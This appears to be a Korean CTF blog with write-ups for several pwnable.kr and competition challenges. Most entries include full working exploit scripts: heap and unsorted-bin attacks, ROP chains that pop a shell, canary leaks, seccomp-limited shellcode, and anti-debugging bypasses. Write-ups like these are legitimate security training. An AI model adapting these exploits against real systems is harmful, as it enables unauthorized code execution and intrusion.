realsung Student realsung's blog

[HITCON-Training]Lab14

메뉴는 이런식으로 구성되어있다.

1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit

메인 함수다. hidden menu가 존재해서 magic이라는 전역변수를 4869 이상으로 만들면 된다. 그러면 l33t 함수에서 cat flag 해준다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap(&buf, &buf);
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( magic <= 4869 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

unsorted bin attack문제다. magic을 main_arena + 88로 덮어주면 된다. 그러면 4869를 입력해서 플래그 얻을 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./magicheap')
p = process('./magicheap')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = 0x0000000006020C0

def create(size,content):
	sla(':','1')
	sla(':',str(size))
	sa(':',content)

def edit(index,size,content):
	sla(':','2')
	sla(':',str(index))
	sla(':',str(size))
	sa(':',content)

def delete(index):
	sla(':','3')
	sla(':',str(index))

def exit():
	sla(':','4')

def shell():
	sla(':','4869')

create(128,'A'*8)
create(128,'B'*8)
create(128,'C'*8)
delete(1)
edit(0,200,'D'*136 + p64(0x91) + p64(0) + p64(magic - 0x10))
create(128,'E'*8)
shell()

p.interactive()

2016 Christmas CTF Who is solo?

64비트 바이너리고 Partial RELRO, NX, FORTIFY가 걸려있다.

[*] '/vagrant/ctfs/solo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

메뉴는 5가지고 전형적인 힙 문제의 메뉴다.

1. malloc
2. free
3. list
4. login
5. exit

함수들은 아래와 같은 기능들을 한다.

sub_4008D0 : print menu
sub_400930 : malloc only 4 chunks
sub_400B60 : free chunk

메인함수다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-42Ch]
  void *buf; // [rsp+10h] [rbp-428h]
  char v6; // [rsp+18h] [rbp-420h]
  char v7; // [rsp+20h] [rbp-418h]
  char v8; // [rsp+28h] [rbp-410h]
  char v9; // [rsp+30h] [rbp-408h]

  setvbuf(stdout, 0LL, 2, 0x400uLL);
  sub_4008B0();
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        do
        {
          sub_4008D0();
          __isoc99_scanf("%d", &v4);
        }
        while ( v4 == 3 );
        if ( v4 > 3 )
          break;
        if ( v4 == 1 )
        {
          sub_400930(&buf, &v6, &v7, &v8);      // 1. malloc
        }
        else
        {
          if ( v4 != 2 )
            return 0LL;
          sub_400B60(&buf, &v6, &v7, &v8);      // 2. free
        }
      }
      if ( v4 != 4 )
        break;
      if ( qword_602080 )                       // 4. login
      {
        __printf_chk(1LL, "Input password: ");
        read(0, &v9, 2000uLL);                  // vuln
      }
      else
      {
        puts("Login failed");
      }
    }
    if ( v4 != 0x31337 )
      break;
    __printf_chk(1LL, "Modify Data: ");
    read(0, buf, 300uLL);
  }
  return 0LL;
}

unsorted bin 취약점을 이용한 문제다.

malloc(1,200,’AAAA’), malloc(2,200,’BBBB’), malloc(3,200,’CCCC’) 할당

free(2) 해주면 fd,bk에는 main_arena+88주소가 적힌다.

modify메뉴로 free된 2번 청크의 bk를 check해주는 (전역변수-16)로 덮어 fd,bk 조작해 원하는 주소에 값을 씀

전역변수 -16 해주는 이유는 unlink때 FD->bk=BK; BK->fd=FD;로 현재 chunk bk + 16위치에 현재 fd값이 들어가기 때문에 덮어쓸 주소 -16해준다. bk에 check -16을 넣어주면 unlink과정에서 check+0에 fd가 들어간다.

malloc(4,200,’DDDD) 할당

그러면 0으로 덮여있던 check는 main_arena + 88의 주소가 들어가있다.

Login 메뉴를 사용가능하다. 취약점 터지는 read(0, &v9, 2000uLL); 에서 rop해주면 됨.

exploit.py

from pwn import *

context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./solo')
p = process('./solo')
libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
prdi = 0x00000000004008a0 # pop rdi ; ret
prsi_r15 = 0x0000000000400d11 # pop rsi ; pop r15 ; ret
check = 0x0000000000602080
main = 0x0000000000400680

# chunk max : 3
def malloc(num,size,data):
	sla('$','1')
	sla(':',str(num)) # Allocate Chunk Number:
	sla(':',str(size)) # Input Size:
	sa(':',data) # Input Data:

def free(num):
	sla('$','2')
	sla(':',str(num)) # Free Chunk number:

def modify(data):
	sla('$','201527')
	sa(':',data) # Modify Data:

def login(pay):
	sla('$','4')
	sla(':',pay) # Input password: 

def exit():
	sla('$','5')

# malloc -> num 1,2,3
malloc(1,200,'AAAAAAAA')
malloc(2,200,'BBBBBBBB')
malloc(3,200,'CCCCCCCC')
# free -> num 2
free(2)
#raw_input()
# modify -> num 2 -> bk(check - 16)
p1 = 'A'*200
p1 += p64(0xd1) # size
p1 += p64(0x0) # fd
p1 += p64(check - 0x10) # bk
modify(p1)
# malloc -> num 4
malloc(4,200,'DDDDDDDD')
p2 = 'A'*0x408
p2 += p64(prdi) + p64(check) + p64(e.plt['puts'])
p2 += p64(main)
login(p2) # leak main_arena + 88
exit()
libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 88 - 0x3c4b20
log.info('libc_base : ' + hex(libc_base))
# system('/bin/sh')
p3 = 'A'*0x408
p3 += p64(prdi) + p64(libc_base + libc.search('/bin/sh\x00').next()) + p64(libc_base + libc.symbols['system'])
login(p3)
exit()

p.interactive()

2017 HITCON start

statically linked파일이라 웬만한 가젯들 다 있었다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  alarm(10LL, argv, envp);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  setvbuf(stdout, 0LL, 2LL, 0LL);
  while ( read(0LL, &v4, 217LL) != 0 && strncmp(&v4, "exit\n", 5LL) )
    puts(&v4);
  return 0;
}

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./start')
p = process('./start')
libc = e.libc
prdi = 0x00000000004005d5 # pop rdi ; ret
prsi = 0x00000000004017f7 # pop rsi ; ret
prdx = 0x0000000000443776 # pop rdx ; ret
syscall = 0x00468e75 # syscall
prax_rdx_rbx = 0x0047a6e6 # pop rax ; pop rdx ; pop rbx ; ret  ;
p.send('A'*25)
p.recvuntil('A'*24)
canary = u64(p.recv(8)) - 0x41
log.info('Canary : ' + hex(canary))

payload = 'A'*24
payload += p64(canary)
payload += 'A'*8
payload += p64(prax_rdx_rbx) + p64(0) + p64(10) + p64(0)
payload += p64(prdi) + p64(0)
payload += p64(prsi) + p64(e.bss() + 0x500)
payload += p64(syscall)
payload += p64(prax_rdx_rbx) + p64(59) + p64(0) + p64(0)
payload += p64(prdi) + p64(e.bss() + 0x500)
payload += p64(prsi) + p64(0)
payload += p64(syscall)

p.send(payload)
p.sendline('exit')
p.sendline('/bin/sh\x00')

p.interactive()

2017 Codegate RamG thunder

처음에서 4번을 누르면 hidden menu가 존재한다. 해당 hidden menu에서 2번을 누르면 Game을 플레이할 수 있다. 이 함수에서 마지막 보면 fwrite로 c라는 파일을 생성해주는데 여기까지 가면 플래그를 얻을 수 있다. 5개 스테이지를 넘기면 된다.

이런 유형의 문제들은 보통 원하는 루틴을 다 건너가야지만 제대로된 파일을 생성할 수 있다. 각 Stage마다 c라는 파일을 만들어줄 데이터들을 넣게되는데 이 값들을 제대로 만들어줘야지 제대로된 파일이 생성될 수 있다.

Stage 1

비교하는 부분이 있는데 테이블 긁어와서 xor해주면 된다. 또 뒤에 IsDebuggerPresent 우회해주면 된다.

# [*] Stage 1

v40 = '4D56594C58595541524A'.decode('hex')
v45 = '3437343539'.decode('hex')
stage1 = ''.join(chr(ord(v40[i])^ord(v45[i%5]))for i in range(len(v40)))
print stage1

Stage 1 : yamyambugs


Stage 2

MAC주소 불러와서 비교하는데 dump 떠서 값만 변경해주면 된다.

ebx+0x194 : 0xc8
ebx+0x195 : 0x59
ebx+0x196 : 0x78


Stage 3

레지스트리 불러와서 다 비교하는데 그냥 eip 우회해서 3가지 갈래길이 있는데 hel부분으로 가게하면 된다.


Stage 4

GetAdaptersInfo 라는 API로 정보를 긁어오는데 그냥 각각 값을 0x0, 0xc, 0x29로 맞춰주면 우회할 수 있습니다.

Stage5가기전에 CheckRemoteDebuggerPresent도 우회해주면 된다.


Stage 5

이 부분도 Stage 1과 마찬가지로 테이블 긁어와서 xor해주면 된다.

# [*] Stage 5

v38 = '33363734323331303936'.decode('hex')
v36 = '5B535B585D4457594A5EEC'.decode('hex')
stage2 = ''.join(chr(ord(v38[i])^ord(v36[i])) for i in range(len(v38)))
print stage2

Stage 5 : hellowfish


그러면 우리가 루틴을 지나면서 값들을 넣어준걸 가지고 값들을 슥슥 연산하는 부분이 있는데 이 부분만 분석해서 풀 수도 있다. 어쨌든 조건들 다 우회했으니까 c라는 파일을 생성해준다. 그리고 보면 PNG파일이 존재했다.

FLAG : ThANk_yOu_my_PeOP1E

[pwnable.kr]simple login

입력 받은 값을 Base64Decode 함수에서 디코드해서 md5한 값이 f87cd601aa7fedca99018a8be88eda34 이 되야하는데 계속 바뀐다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-28h]
  char input; // [esp+1Eh] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(&input, 0, 30u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &input);
  memset(&::input, 0, 12u);
  v4 = 0;
  v6 = Base64Decode(&input, &v4);
  if ( v6 > 12 )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&::input, v4, v6);
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

auth 함수에서 memcpy할때 a1만큼하는데 여기서 12가 들어가면 sfp를 덮을 수 있다.

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *md5_value; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  md5_value = calc_md5(&v2, 12);
  printf("hash : %s\n", md5_value);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", md5_value) == 0;
}

correct 함수는 쉘을 띄워준다.

void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
  {
    puts("Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

Fake EBP를 이용한 문제다. sfp를 전역변수인 input으로 덮고 esp + 4위치인 corret함수로 리턴되게하면 된다.

exploit.py

from pwn import *

e = ELF('./login')
#p = process('./login')
p = remote('pwnable.kr',9003)
_input = 0x0811EB40
_correct = 0x0804940C

payload = p32(0xDEADBEEF) # dummy
payload += p32(_correct) # eip
payload += p32(_input) # sfp -> bss
# leave-ret

p.sendafter(':',payload.encode('base64'))

p.interactive()

[pwnable.kr]md5 calculator

seed로 현재시간 줘서 my_hash 함수에서 captcha를 생성해준다. 그리고 captcha 검사하고 process_hash 함수에서 입력한 값을 base64 decode 해주고 md5 hashing 해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [esp+18h] [ebp-8h]
  int v6; // [esp+1Ch] [ebp-4h]

  setvbuf(stdout, 0, 1, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("- Welcome to the free MD5 calculating service -");
  v3 = time(0);
  srand(v3);
  v6 = my_hash();
  printf("Are you human? input captcha : %d\n", v6);
  __isoc99_scanf("%d", &v5);
  if ( v6 != v5 )
  {
    puts("wrong captcha!");
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}

my_hash 에서 자세히 봐야할건 captcha 값을 만드늗네 canary값도 포함되 있다. 근데 srand에 들어가는 seed를 아니까 Canary를 구할 수 있다.

int my_hash()
{
  signed int i; // [esp+0h] [ebp-38h]
  char v2[4]; // [esp+Ch] [ebp-2Ch]
  int v3; // [esp+10h] [ebp-28h]
  int v4; // [esp+14h] [ebp-24h]
  int v5; // [esp+18h] [ebp-20h]
  int v6; // [esp+1Ch] [ebp-1Ch]
  int v7; // [esp+20h] [ebp-18h]
  int v8; // [esp+24h] [ebp-14h]
  int v9; // [esp+28h] [ebp-10h]
  unsigned int canary; // [esp+2Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  for ( i = 0; i <= 7; ++i )
    *&v2[4 * i] = rand();
  return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}

process_hash 함수에서는 1024만큼 입력받는데 버퍼가 512바이트라 eip를 변조할 수 있다.

unsigned int process_hash()
{
  int length; // ST14_4
  char *ptr; // ST18_4
  char v3; // [esp+1Ch] [ebp-20Ch]
  unsigned int v4; // [esp+21Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 )
    ;
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 512u);
  length = Base64Decode(g_buf, &v3);
  ptr = calc_md5(&v3, length);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return __readgsdword(0x14u) ^ v4;
}

my_hash 함수를 통해서 Canary 값을 얻을 수 있고 process_hash 함수에서 eip변조할 수 있다. 근데 system@plt도 존재하니까 쉽게 익스할 수 있다.

exploit.py

from pwn import *
from ctypes import *

context.arch = 'i386'
#context.log_level = 'debug'
e = ELF('./hash')
p = process('./hash')
#p = remote('pwnable.kr',9002)
lib = CDLL('libc.so.6')
libc = e.libc
pebx = 0x0804880c # pop ebx ; ret
g_buf = 0x0804B0E0 + 0x2d0

p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
log.info('captcha : ' + str(captcha))
lib.srand(lib.time(0))
hashs = [lib.rand() for i in range(8)]
s = hashs[4] - hashs[6] + hashs[7] + hashs[2] - hashs[3] + hashs[1] + hashs[5]
log.info('sum : ' + str(s))
canary = captcha - s
if canary < 0:
	canary = canary & 0xFFFFFFFF
log.info('Canary : ' + hex(canary))
p.sendline(str(captcha))

payload = 'A'*512
payload += p32(canary)
payload += 'A'*12
payload += p32(e.plt['system'])
payload += p32(pebx)
payload += p32(g_buf)

p.sendlineafter('me!\n',payload.encode('base64').replace('\n','') + '/bin/sh\x00')
p.interactive()

아무 문제 ssh 들어가서 pwnable.kr 서버의 로컬에서 땄다.

exploit.py

from pwn import *
from ctypes import *

#context.arch = 'i386'
#context.log_level = 'debug'
p = remote('127.0.0.1',9002)
lib = CDLL('libc.so.6')
pebx = 0x0804880c # pop ebx ; ret
g_buf = 0x0804B0E0 + 0x2d0

p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
log.info('captcha : ' + str(captcha))
lib.srand(lib.time(0))
hashs = [lib.rand() for i in range(8)]
s = hashs[4] - hashs[6] + hashs[7] + hashs[2] - hashs[3] + hashs[1] + hashs[5]
log.info('sum : ' + str(s))
canary = captcha - s
if canary < 0:
	canary = canary & 0xFFFFFFFF
log.info('Canary : ' + hex(canary))
p.sendline(str(captcha))

payload = 'A'*512
payload += p32(canary)
payload += 'A'*12
payload += p32(0x08048880)
payload += p32(pebx)
payload += p32(g_buf)

p.sendlineafter('me!\n',payload.encode('base64').replace('\n','') + '/bin/sh\x00')
p.interactive()

[BOJ 2309]일곱 난쟁이

완전 탐색을 이용한 문제다. 난쟁이가 9명인데 7명만 뽑아서 합 100을 만들면 된다.

#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
vector<int>v;
int main(){
    ios::sync_with_stdio(0);
    cin.tie(0);
    int t,n=9,s=0;
    while(n--){
        cin >> t;
        v.push_back(t);
        s += t;
    }
    sort(v.begin(),v.end());
    for(int i=0; i<9; i++){
        for(int j=i+1; j<9; j++){
            if(s - v[i] - v[j] == 100){
                for(int k=0; k<9; k++){
                    if(v[k] != v[i] && v[k] != v[j]){
                        cout << v[k] << "\n";
                    }
                }
                return 0;
            }
        }
    }
}

[pwnable.kr]horcruxes

보호기법은 RELRO, NX만 걸려있다.

[*] '/vagrant/ctfs/horcruxes'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x809f000)

전역변수 a,b,c,d,e,f를 /dev/urandom 에서 가져온거랑 막 연산해서 저장해놓고 sum에는 a,b,c,d,e,f,g를 더 해놓은 값을 넣어놓는다.

unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = 0xDEADBEEF * rand() % 0xCAFEBABE;
  b = 0xDEADBEEF * rand() % 0xCAFEBABE;
  c = 3735928559 * rand() % 0xCAFEBABE;
  d = 0xDEADBEEF * rand() % 0xCAFEBABE;
  e = 0xDEADBEEF * rand() % 0xCAFEBABE;
  f = 0xDEADBEEF * rand() % 0xCAFEBABE;
  v0 = rand();
  g = 0xDEADBEEF * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}

seccomp도 걸려있긴한데 상관없다. gets 에서 취약점 터져서 eip 덮을 수 있다. 그래서 A,B,C,D,E,F,G 함수에서 값들을 다 긁어오면 된다. 각각 함수마다 전역변수 값을 출력해준다.

int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 100u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

다 리턴 A,B,C,D,E,F,G 돌려서 값들 긁어서 ropme 로 리턴해서 sum 값 입력하면 된다.

exploit.py

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'
s = ssh('horcruxes','pwnable.kr',port=2222,password='guest')
p = s.remote('localhost', 9032)
e = ELF('./horcruxes')
#p = process('./horcruxes')

payload = 'A'*120
payload += p32(0x0809fe4b)
payload += p32(0x0809fe6a)
payload += p32(0x0809fe89)
payload += p32(0x0809fea8)
payload += p32(0x0809fec7)
payload += p32(0x0809fee6)
payload += p32(0x0809ff05)
payload += p32(0x0809fffc)

p.sendlineafter(':','1')
p.sendlineafter(':',payload)

table = 0
for i in range(7):
	p.recvuntil('(EXP +')
	table += int(p.recvline().replace(')','').replace('\n',''))
log.info('sum : ' + str(table))

p.recvuntil('Select Menu:')
p.sendline('1')

p.sendlineafter(':',str(table))
p.interactive()

[pwnable.kr]blukat

strcmp로 /home/blukat/password 값과 입력한 값을 비교해서 같으면 calc_flag 함수에서 xor해서 flag로 출력해준다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
	int i;
	for(i=0; i<strlen(s); i++){
		flag[i] = s[i] ^ key[i];
	}
	printf("%s\n", flag);
}
int main(){
	FILE* fp = fopen("/home/blukat/password", "r");
	fgets(password, 100, fp);
	char buf[100];
	printf("guess the password!\n");
	fgets(buf, 128, stdin);
	if(!strcmp(password, buf)){
		printf("congrats! here is your flag: ");
		calc_flag(password);
	}
	else{
		printf("wrong guess!\n");
		exit(0);
	}
	return 0;
}

현재 내 id다.

uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)

/home/blukat/password 의 권한이 없다.

-r-xr-sr-x   1 root blukat_pwn 9144 Aug  8  2018 blukat
-rw-r--r--   1 root root        645 Aug  8  2018 blukat.c
-rw-r-----   1 root blukat_pwn   33 Jan  6  2017 password

fgets로 실행후 인자로 들어가는 password값을 보면 이렇다. 그래서 그냥 이거 입력해주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
s = ssh('blukat','pwnable.kr',port=2222,password='guest')
p = s.process('./blukat')

p.sendline('cat: password: Permission denied')

p.interactive()

[pwnable.kr]asm

seccomp걸려 있는 바이너리다. orw랑 exit밖에 사용 못한다.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

메인이다. 0x4141414000 위치에 0x1000만큼 매핑해주는데 이 주소를 실행해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // ST18_8
  size_t v4; // rdx

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to shellcoding practice challenge.");
  puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
  puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
  puts("If this does not challenge you. you should play 'asg' challenge :)");
  s = mmap(0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
  memset(s, 144, 0x1000uLL);
  v4 = strlen(stub);
  memcpy(s, stub, v4);
  printf("give me your x64 shellcode: ", stub, argv);
  read(0, s + 46, 1000uLL);
  alarm(10u);
  chroot("/home/asm_pwn");
  sandbox();
  (s)("/home/asm_pwn");
  return 0;
}

s함수를 실행하기전에 stub을 넣어주는데 코드를 보면 rip, rsp 빼고 범용레지스터 다 초기화해준다.

   0x41414000:	xor    rax,rax
   0x41414003:	xor    rbx,rbx
   0x41414006:	xor    rcx,rcx
   0x41414009:	xor    rdx,rdx
   0x4141400c:	xor    rsi,rsi
   0x4141400f:	xor    rdi,rdi
   0x41414012:	xor    rbp,rbp
   0x41414015:	xor    r8,r8
   0x41414018:	xor    r9,r9
   0x4141401b:	xor    r10,r10
   0x4141401e:	xor    r11,r11
   0x41414021:	xor    r12,r12
   0x41414024:	xor    r13,r13
   0x41414027:	xor    r14,r14
   0x4141402a:	xor    r15,r15

파일 이름 스택에 push하고 orw해주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
s = ssh('asm','pwnable.kr',port=2222,password='guest')
e = ELF('./asm')
p = s.connect_remote('localhost', 9026)
file = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

s='''
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

add rsp, 0x300
mov rdi, 3
mov rsi, rsp
mov rdx, 0x100 
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
syscall
'''

p.recvuntil('shellcode:')
p.send(asm(shellcraft.amd64.pushstr(file)) + asm(s))

p.interactive()

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
s = ssh('asm','pwnable.kr',port=2222,password='guest')
e = ELF('./asm')
p = s.connect_remote('localhost', 9026)

file = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

payload = shellcraft.amd64.pushstr(file)
payload += shellcraft.amd64.open('rsp',0,0)
payload += shellcraft.amd64.read('rax','rsp',100)
payload += shellcraft.amd64.write(1,'rsp',100)

p.recvuntil('shellcode:')
p.send(asm(payload))

p.interactive()

2019 just CTF Shellcode Executor PRO

1번 메뉴

입력받은 걸 verifyUrl 함수에서 xor 1한 값이 9보다 작아야한다. 안 그러면 exit해준다.

int downloadShellcode()
{
  char *s; // ST18_8

  s = malloc(0x400uLL);
  printf("Enter url: ");
  fgets(s, 1024, stdin);
  if ( verifyUrl(s) ^ 1 )
  {
    puts("Your url contains incorrect characters, this incident will be reported");
    exit(-1);
  }
  return puts("For this feature you need to purchase the full version of our product");
}

2번 메뉴

demo_shellcode 라는 영역을 free해줄 수 있다.

void __fastcall deleteShellcode(__int64 a1)
{
  if ( *a1 )
  {
    puts("This shellcode has already been deleted");
  }
  else
  {
    *a1 = 1;
    free(*(a1 + 8));
    free(*(a1 + 16));
  }
}

3번 메뉴

쉘코드를 restrictAccess 함수 bypass하면 실행해준다.

int __fastcall executeShellcode(__int64 a1)
{
  void *dest; // [rsp+18h] [rbp-8h]

  printf("Executing shellcode from %s\n", *(a1 + 8));
  dest = mmap(0LL, 0x400uLL, 7, 34, -1, 0LL);
  memcpy(dest, *(a1 + 16), 0x400uLL);
  if ( restricted != 1 )
    restrictAccess();
  puts("====================================");
  (dest)("====================================");
  puts("====================================");
  return munmap(dest, 0x400uLL);
}

restrictAccess 함수를 보면 seccomp가 걸려있는데 read, write, mmap, munmap .. 등등만 허용해놨다.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0012
 0006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0012
 0007: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0012
 0008: 0x15 0x03 0x00 0x0000000b  if (A == munmap) goto 0012
 0009: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0012
 0010: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0012
 0011: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

demo_shellcode 라는 영역을 3번 메뉴에서 실행시켜주기 때문에 이곳에 쉘코드를 넣어주면 된다. 근데 밑에 The flag will be here 이라는 문구가 있다. 여기에 플래그가 있어서 읽어오면 될거다.

익스는 write로 flag 영역을 긁어오면 된다. 근데 우선 verifyUrl 함수를 우회해줘야하는데 \x00 을 넣어서 우회하려고 했는데 쉘코드가 실행이 안된다.그래서 xor al,0 으로 우회해주면 된다.

익스 순서는 demo_shellcode 영역을 free해주고 downloadShellcode 함수에서 write(1,rip+0x70,0xff) 해준 후에 입력해주면 된다. rip+0x70은 flag위치다.

마지막으로 executeShellcode 함수 실행해주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./shellcodeexecutor')
#p = process('./shellcodeexecutor')
p = remote('46.101.173.184', 1446)

payload = '''
xor al, 0
mov rdi, 1
lea rsi, [rip+0x70]
mov rdx, 0xff
mov rax, 1
syscall
'''

p.sendlineafter('>','2') # Delete shellcode -> Demo Free
p.sendlineafter('>','1') # Download shellcode from url -> allocate
p.sendlineafter(':',asm(payload)) # verifyUrl bypass
p.sendlineafter('>','3') # executeShellcode -> seccomp bypass

p.interactive()

FLAG : justCTF{f0r_4_b3tt3r_fl4g_purch4s3_th3_full_v3rsi0n_0f_0ur_pr0duct}

[pwnable.kr]unexploitable

sleep(3) 있고 read로 입력받는 바이너리다. 근데 1295나 입력받는다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]

  sleep(3u);
